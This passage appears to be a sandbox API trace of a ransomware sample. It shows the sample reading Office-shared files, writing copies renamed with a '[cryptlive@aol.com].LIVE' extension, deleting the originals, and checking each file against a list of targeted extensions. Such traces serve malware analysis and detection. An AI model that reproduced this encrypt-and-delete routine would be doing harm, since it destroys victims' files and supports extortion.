(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0052.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.214] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.214] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.215] GetLastError () returned 0x0 [0052.215] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x75da, lpOverlapped=0x0) returned 1 [0052.217] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x75e0, lpOverlapped=0x0) returned 1 [0052.218] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.218] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.218] SetEndOfFile (hFile=0x184) returned 1 [0052.218] CloseHandle (hObject=0x184) returned 1 [0052.218] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.218] SetEndOfFile (hFile=0x1f8) returned 1 [0052.219] CloseHandle (hObject=0x1f8) returned 1 [0052.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.220] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 1 [0052.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0052.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0052.220] lstrlenW (lpString=".doc") returned 4 [0052.220] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.220] lstrlenW (lpString=".docx") returned 5 [0052.220] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.220] lstrlenW (lpString=".pdf") returned 4 [0052.220] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.220] lstrlenW (lpString=".xls") returned 4 [0052.220] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.220] lstrlenW (lpString=".xlsx") returned 5 [0052.220] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.220] lstrlenW (lpString=".ppt") returned 4 [0052.220] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0052.220] lstrlenW (lpString=".zip") returned 4 [0052.220] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.220] lstrlenW (lpString=".rar") returned 4 [0052.220] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.220] lstrlenW (lpString=".bz2") returned 4 [0052.220] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.220] lstrlenW (lpString=".7z") returned 3 [0052.221] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0052.221] lstrlenW (lpString=".dbf") returned 4 [0052.221] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0052.221] lstrlenW (lpString=".1cd") returned 4 [0052.221] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0052.221] lstrlenW (lpString=".jpg") returned 4 [0052.221] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0052.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0052.221] lstrlenW (lpString=".doc") returned 4 [0052.221] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.221] lstrlenW (lpString=".docx") returned 5 [0052.221] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.221] lstrlenW (lpString=".pdf") returned 4 [0052.221] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.221] lstrlenW (lpString=".xls") returned 4 [0052.221] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.221] lstrlenW (lpString=".xlsx") returned 5 [0052.221] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.221] lstrlenW (lpString=".ppt") returned 4 [0052.221] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0052.221] lstrlenW (lpString=".zip") returned 4 [0052.221] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.221] lstrlenW (lpString=".rar") returned 4 [0052.221] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.221] lstrlenW (lpString=".bz2") returned 4 [0052.221] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.221] lstrlenW (lpString=".7z") returned 3 [0052.221] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0052.222] lstrlenW (lpString=".dbf") returned 4 [0052.222] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0052.222] lstrlenW (lpString=".1cd") returned 4 [0052.222] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0052.222] lstrlenW (lpString=".jpg") returned 4 [0052.222] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.222] lstrcmpiW (lpString1=".CHM", lpString2=".LIVE") returned -1 [0052.222] lstrlenW (lpString="FM20.CHM") returned 8 [0052.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.224] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=334427) returned 1 [0052.224] CloseHandle (hObject=0x1f8) returned 1 [0052.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0052.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.224] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.224] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.224] GetLastError () returned 0x0 [0052.224] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x51a5b, lpOverlapped=0x0) returned 1 [0052.340] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x51a60, lpOverlapped=0x0) returned 1 [0052.346] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.346] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0052.346] SetEndOfFile (hFile=0x184) returned 1 [0052.346] CloseHandle (hObject=0x184) returned 1 [0052.346] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.346] SetEndOfFile (hFile=0x1f8) returned 1 [0052.349] CloseHandle (hObject=0x1f8) returned 1 [0052.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.350] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 1 [0052.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0052.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0052.350] lstrlenW (lpString=".doc") returned 4 [0052.350] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0052.350] lstrlenW (lpString=".docx") returned 5 [0052.350] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0052.350] lstrlenW (lpString=".pdf") returned 4 [0052.350] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0052.350] lstrlenW (lpString=".xls") returned 4 [0052.350] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0052.350] lstrlenW (lpString=".xlsx") returned 5 [0052.350] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0052.350] lstrlenW (lpString=".ppt") returned 4 [0052.350] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0052.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0052.350] lstrlenW (lpString=".zip") returned 4 [0052.350] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0052.350] lstrlenW (lpString=".rar") returned 4 [0052.350] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0052.350] lstrlenW (lpString=".bz2") returned 4 [0052.350] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0052.350] lstrlenW (lpString=".7z") returned 3 [0052.350] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0052.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0052.350] lstrlenW (lpString=".dbf") returned 4 [0052.351] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0052.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0052.351] lstrlenW (lpString=".1cd") returned 4 [0052.351] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0052.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0052.351] lstrlenW (lpString=".jpg") returned 4 [0052.351] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0052.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0052.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0052.351] lstrlenW (lpString=".doc") returned 4 [0052.351] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0052.351] lstrlenW (lpString=".docx") returned 5 [0052.351] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0052.351] lstrlenW (lpString=".pdf") returned 4 [0052.351] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0052.351] lstrlenW (lpString=".xls") returned 4 [0052.351] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0052.351] lstrlenW (lpString=".xlsx") returned 5 [0052.351] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0052.351] lstrlenW (lpString=".ppt") returned 4 [0052.351] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0052.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0052.351] lstrlenW (lpString=".zip") returned 4 [0052.351] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0052.351] lstrlenW (lpString=".rar") returned 4 [0052.351] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0052.351] lstrlenW (lpString=".bz2") returned 4 [0052.351] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0052.351] lstrlenW (lpString=".7z") returned 3 [0052.351] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0052.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0052.351] lstrlenW (lpString=".dbf") returned 4 [0052.351] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0052.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0052.351] lstrlenW (lpString=".1cd") returned 4 [0052.352] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0052.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0052.352] lstrlenW (lpString=".jpg") returned 4 [0052.352] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0052.352] lstrcmpiW (lpString1=".CHM", lpString2=".LIVE") returned -1 [0052.352] lstrlenW (lpString="VBHW6.CHM") returned 9 [0052.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.352] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=58026) returned 1 [0052.352] CloseHandle (hObject=0x1f8) returned 1 [0052.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0052.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.352] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.353] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.353] GetLastError () returned 0x0 [0052.353] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0xe2aa, lpOverlapped=0x0) returned 1 [0052.355] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe2b0, lpOverlapped=0x0) returned 1 [0052.357] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.357] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.357] SetEndOfFile (hFile=0x184) returned 1 [0052.357] CloseHandle (hObject=0x184) returned 1 [0052.357] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.357] SetEndOfFile (hFile=0x1f8) returned 1 [0052.358] CloseHandle (hObject=0x1f8) returned 1 [0052.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.359] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 1 [0052.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0052.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0052.359] lstrlenW (lpString=".doc") returned 4 [0052.359] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0052.359] lstrlenW (lpString=".docx") returned 5 [0052.359] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0052.359] lstrlenW (lpString=".pdf") returned 4 [0052.359] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0052.359] lstrlenW (lpString=".xls") returned 4 [0052.359] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0052.359] lstrlenW (lpString=".xlsx") returned 5 [0052.359] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0052.359] lstrlenW (lpString=".ppt") returned 4 [0052.359] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0052.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0052.359] lstrlenW (lpString=".zip") returned 4 [0052.359] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0052.359] lstrlenW (lpString=".rar") returned 4 [0052.359] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0052.359] lstrlenW (lpString=".bz2") returned 4 [0052.359] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0052.359] lstrlenW (lpString=".7z") returned 3 [0052.359] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0052.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0052.359] lstrlenW (lpString=".dbf") returned 4 [0052.359] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0052.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0052.359] lstrlenW (lpString=".1cd") returned 4 [0052.359] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0052.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0052.360] lstrlenW (lpString=".jpg") returned 4 [0052.360] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0052.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0052.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0052.360] lstrlenW (lpString=".doc") returned 4 [0052.360] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0052.360] lstrlenW (lpString=".docx") returned 5 [0052.360] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0052.360] lstrlenW (lpString=".pdf") returned 4 [0052.360] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0052.360] lstrlenW (lpString=".xls") returned 4 [0052.360] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0052.360] lstrlenW (lpString=".xlsx") returned 5 [0052.360] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0052.360] lstrlenW (lpString=".ppt") returned 4 [0052.360] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0052.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0052.360] lstrlenW (lpString=".zip") returned 4 [0052.360] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0052.360] lstrlenW (lpString=".rar") returned 4 [0052.360] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0052.360] lstrlenW (lpString=".bz2") returned 4 [0052.360] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0052.360] lstrlenW (lpString=".7z") returned 3 [0052.360] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0052.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0052.360] lstrlenW (lpString=".dbf") returned 4 [0052.360] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0052.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0052.360] lstrlenW (lpString=".1cd") returned 4 [0052.360] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0052.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0052.360] lstrlenW (lpString=".jpg") returned 4 [0052.360] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0052.361] lstrcmpiW (lpString1=".CHM", lpString2=".LIVE") returned -1 [0052.361] lstrlenW (lpString="VBLR6.CHM") returned 9 [0052.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.361] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=944994) returned 1 [0052.361] CloseHandle 